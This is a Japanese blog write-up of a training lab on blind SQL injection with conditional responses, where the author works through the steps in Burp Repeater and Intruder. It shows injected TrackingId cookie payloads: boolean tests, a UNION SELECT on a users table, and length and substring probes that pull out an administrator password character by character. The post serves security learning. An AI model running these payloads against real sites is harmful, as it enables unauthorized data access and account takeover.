Shikata Ga Nai

Private? There is no such things.

Blind SQL injection with conditional responsesをやってみた

Hello there, ('ω')ノ

 

条件付きレスポンスを使用したブラインドSQLインジェクションを。

 

このラボには、ブラインドSQLインジェクションの脆弱性があって。

トラッキングCookieを使用しSQLクエリを実行して。

SQLクエリの結果は返されず、エラーメッセージも表示されず。

 

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210430171844p:plain


リクエストをリピータへ。

 

f:id:ThisIsOne:20210430171652p:plain

 

下記のように適当に変更してレスポンスの違いを確認すると。

Welcomeのリンクが表示されず。

 TrackingId=123;

 

f:id:ThisIsOne:20210430172005p:plain

 

下記の条件式だとWelcomeは表示されて。

 TrackingId=x'+or+1=1--;

 

f:id:ThisIsOne:20210430172149p:plain

 

下記の条件式だとWelcomeは表示さず。

 TrackingId=x'+or+1=2--;

 

f:id:ThisIsOne:20210430172328p:plain

 

下記のSQL文でテーブルの存在を確認して。

 TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'--;

 

f:id:ThisIsOne:20210430172841p:plain

 

次に下記のSQL文でパスワードの長さを確認することに。

TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'+and+length(password)>1--;

 

f:id:ThisIsOne:20210430173056p:plain

 

パスワードの文字長が20を超えるとWelcomeのリンクが表示されないので。

パスワードは20文字だとわかって。

TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'+and+length(password)>20--;

 

f:id:ThisIsOne:20210430173201p:plain

 

次にリクエストをIntruderへ。

 

f:id:ThisIsOne:20210430173557p:plain

 

下記のSQL文で、パスワードの文字位置を回しながら一文字ずつ検証することに。

TrackingId=x'+UNION+SELECT+'a'+FROM+users+where+username='administrator'+and+substring(password,1,1)='a'--;

 

f:id:ThisIsOne:20210430174248p:plain

 

まずは、パスワードの文字数が20なので、1~20までの設定を。

 

f:id:ThisIsOne:20210430174458p:plain

 

パスワードの文字を小文字の英字と数字にしぼって設定を。

 

f:id:ThisIsOne:20210430174617p:plain

 

レスポンスにWelcomeのリンクがあるかの判定をいれて、Start attackをすると。

 

f:id:ThisIsOne:20210430174711p:plain

 

20文字がヒットして、パスワードを並べると下記のとおりとなって。

 kxz59b9bifhf1bjq6ngw

 

f:id:ThisIsOne:20210430174911p:plain

 

ログインしてみると。

 

f:id:ThisIsOne:20210430175130p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210430175144p:plain

 

Best regards, (^^ゞ